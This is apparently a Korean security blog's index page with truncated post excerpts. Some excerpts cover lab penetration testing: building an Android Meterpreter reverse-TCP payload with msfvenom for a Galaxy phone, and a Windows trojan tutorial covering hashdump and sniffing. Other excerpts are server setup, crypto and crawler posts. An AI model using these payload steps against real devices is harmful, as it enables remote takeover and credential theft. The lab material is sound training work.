화이트해커 루나 블로그 💻

안드로이드 삼성폰 침투테스트(갤럭시Z플립2) 안드로이드 버전은 12입니다. -목차- 1. 안드로이드 환경 구축 2. 안드로이드 악성코드 제작 3. 안드로이드 악성코드 실행 4. 안드로이드 Commands 1. 안드로이드 환경 구축 ipDISK 어플 설치 많은 어플이 있지만, ipDISK어플을 사용했습니다. NAS서버 구축 ping 확인 # ping -c 2 192.168.0.213 2. 안드로이드 악성코드 제작 아키텍쳐와 플랫폼 보기 # msfvenom --payload=android/meterpreter_reverse_tcp -o a [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No a..

미터프리터를 활용한 정보수집 (+멀웨어 트로이목마 만들기) 미터프리터(Meterpreter)란 메모리 DLL 삽입 기법을 적용한 페이로드다. 스테이저(Stager)라는 소켓으로 통신하고 루비API를 제공한다. 즉, 원격으로 상대PC를 맘껏 조종할 수 있다. 윈도우에 침투하기위해 멀웨어(트로이목마)를 생성하고, 침투 후 미터프리터 방식에서 제공하는 기능을 활용하는 방법을 정리했다. 공격대상자는 Window10Pro(192.168.0.20) 공격자는 칼리리눅스(192.168.0.59)다. -목차- 1. 멀웨어 생성하기 2. 멀웨어 다운로드 (FTP) 3. MSF 실행 4. 윈도우 계정정보 알아내기 (hashdump) 5. 화면 캡쳐하기 6. 실시간 스니핑 1. 멀웨어 생성하기 파일생성전 vsftpd 설치를 ..

HTTP(Hyper Text Transfer Protocol) 개념과 취약점 HTTP(HyperText Transfer Protocol)는 인터넷을 통해 데이터를 송수신하는 데 사용되는 프로토콜이다. -목차- 0. HTTP 역사 1. HTTP 개요 2. HTTP 요청(requests) 3. HTTP 응답(response) 4. HTTP 헤더(HEADER) 5. HTTP method 6. HTTP 상태코드 0. HTTP 역사 HTTP1.0 HTTP는 1990년 대기 시간이 짧은 요청을 위해 시작되었고, GET방식을 사용해 지정된 경로로 식별되는 하이퍼텍스트 문서의 전송을 요청했다. 웹이 성장함에 따라 HTTP는 메시지 내에 요청과 응답을 포함하게되고, 미디어 유형도 사용하여 다양한 데이터 형식을 전송하고,..

CentOS7 워드프레스 설치, DB설정 (+다운로드 링크) -목차- 1. 워드프레스 다운로드 2. 워드프레스 설치 3. 워드프레스 DB설정 4. 워드프레스 웹서버 설정 1. 워드프레스 다운로드 https://ko.wordpress.org/download/ Download Download WordPress today, and get started on creating your website with one of the most powerful, popular, and customizable platforms in the world. ko.wordpress.org 요 링크에서 다운하면 됩니다. 기왕이면 최신버전이 좋은데 저는 모의침투용이라 5.8.5버전으로 다운했습니다. 2. 워드프레스 설치 단 두줄이면 ..

CentOS7 Apache 설치 -목차- 0. apache 계정 생성 및 확인 1. configure 진행시 필요한 패키지와 설정 내용 2. make, make install 3. 설치 디렉토리 소유주, 그룹 이전 4. 데몬 스크립트 파일 생성 5. 데몬 구동, 자동 시작, 방화벽 개방(영구) 0.apache 계정 생성 및 확인 # useradd -u 48 -c "Apache Server" -d /usr/local/apache2 -s /sbin/nologin apache # grep apache /etc/passwd apache:x:48:48:Apache Server:/usr/local/apache2:/sbin/nologin 1. configure 진행시 필요한 패키지와 설정 내용 소스 파일 : http..

채굴 또는 마이닝(mining)이란 암호화폐의 거래내역을 기록한 블록을 생성하고 그 대가로 암호화폐를 얻는 행위다. 1개의 암호화폐를 생성하기 위해서는 마치 금과 같은 광물을 캐는 것처럼 많은 시간과 노력이 필요한 일련의 작업이기에 채굴이라는 표현을 사용한다. -목차- 1. 코인 채굴 개요 2. 비트코인 채굴 2-1. 비트코인 채굴 방법 2-2. 합의 알고리즘 3. 코인 채굴 방법 4. 코인 채굴 방식 5. 코인 채굴 주의사항 6. 코인 채굴 프로그램 1. 코인 채굴 개요 채굴(mining)이란 블록체인 참여자로서 검증에 참여해 암호화폐를 얻는 것이다. 땅을 파서 광물 따위를 캐내는 행위에서 유래한 용어이다. 채굴은 분산원장 시스템이라는 광산에서 합의 알고리즘이라는 작업을 통해 암호화폐를 소유하는 것을 ..

디파이(DeFi)란 탈중앙화 금융(Decentralized Finance)의 약자로, 탈중앙화된 분산금융 또는 분산재정을 의미한다. 최근엔 탈중앙화 가상자산 투자분야에서도 활용되고있다. 디파이의 반댓말은 씨파이(C-Fi)다. -목차- 1. 개요 2. 활용 3. 특징 4. 전망 1. 개요 디파이(DeFi)는 블록체인을 기반으로 하는 기존의 금융 도구로, 특히 이더리움(Ethereum)과 연관이 크다. 이들은 주로 디지털 자산을 만들고 발행하는 모듈화된 프레임워크 또는 오픈 소스 프로토콜을 전제로 하고 있으며, 검열에 대한 저항과 금융 서비스 접근성 향상과 같은 공공 블록체인에서 작동한다는 두드러진 이점을 제공하도록 설계되었다. 기존 금융을 이용하기 위해서는 신원확인부터 은행방문까지 복잡한 과정을 거쳐야 하..

벅스 날짜별 크롤링 import requests from bs4 import BeautifulSoup import csv from time import sleep def song_info(tr): rank = tr.find('strong').text try: title = tr.find('p', {'class': 'title'}).find('a').text except: title = tr.find('p', {'class': 'title'}).find('span','').text artist = tr.find('p', {'class': 'artist'}).find('a').text try: album = tr.find('a', {'class': 'album'}).text except: album = tr..

MSF 사용법, 초기설정 MSF는 메타스플로잇 프레임워크로, 운영체제 취약점 점검에 사용한다. # service postgresql start # update-rc.d postgresql enable # msfdb init [i] Database already started [+] Creating database user 'msf' 새 롤의 암호: 암호 확인: [+] Creating databases 'msf' [+] Creating databases 'msf_test' [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' [+] Creating initial database schema # msfcons..

칼리리눅스 초기설정(모의침투용 환경구축) -목차- 1. 계정활성화 2. 네트워크설정 3. 한글설치 4. SSH 설치 5. 웹서비스 구축 6. 삼바 서비스 구축 1. 계정활성화 루트계정을 활성화 # sudo passwd root # su - 2. 네트워크설정 유동IP를 고정IP로 바꾼다. # vi /etc/network/interfaces # vi /etc/resolv.conf # apt-get update # apt-get upgrade 3. 한글설치 # apt-get install im-config nabi fonts-nanum* # im-config # sync # reboot 4. SSH 설치 Secure Shell에서 원격접속을 하기위함 # apt-get install openssh-server ..